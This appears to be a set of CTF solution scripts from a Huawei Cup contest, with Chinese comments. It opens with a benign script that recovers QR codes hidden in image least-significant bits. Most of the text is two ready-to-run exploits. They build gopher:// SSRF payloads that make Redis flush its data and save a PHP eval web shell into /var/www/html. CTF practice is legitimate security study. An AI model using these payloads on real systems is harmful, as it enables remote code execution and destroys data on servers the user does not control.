第二届华为杯

from PIL import Image
import numpy as np
import cv2
import qrcode
from pyzbar.pyzbar import decode
import os
path="C:\\Users\\c'x'k\\Desktop\\CTF\\研究生-华为杯\\loopQR\\"
images=os.listdir(path)
msg=""
for img_name in images:  #这里是目录遍历
    img=Image.open(path+img_name) #图片名的全路径
    for i in range(4):   #这里为什么进行四次循环
        qr=np.zeros((86,86))
        for h in range(0,86):
            for w in range(0,86):
                pixel=img.getpixel((w,h)) #获取指定坐标的rgb像素信息
                lsb=pixel[i]#取RGB元组中第i个通道的值，其中i的取值范围为0~2，分别对应红、绿、蓝三个通道
                if bin(lsb)[-1]=='1':  #将lsb转换为二进制字符串。  获取二进制字符串的最后一位，即LSB
                    qr[h][w]=255  #将该像素点的值设为255，表示白色。
                else:
                    qr[h][w]=0   #将该像素点的值设为0，表示黑色。
            decode_objects=decode(qr)   #这里是扫描二维码
            if decode_objects:
                print(decode_objects[0].data.decode('utf-8'),end="")
                break

                #遍历一张图片的每个像素点，提取出其RGB值中的LSB，如果LSB为1，则将QR码的对应像素点设为白色，否则设为黑色。这样就可以将一张图片转换为一个黑白的QR码矩阵，然后扫描二维码，获取其中的信息进行输出

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

from urllib.parse import quote
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[1]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["auth boogipop_is_a_webdog",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += quote(redis_format(x))
    print(payload)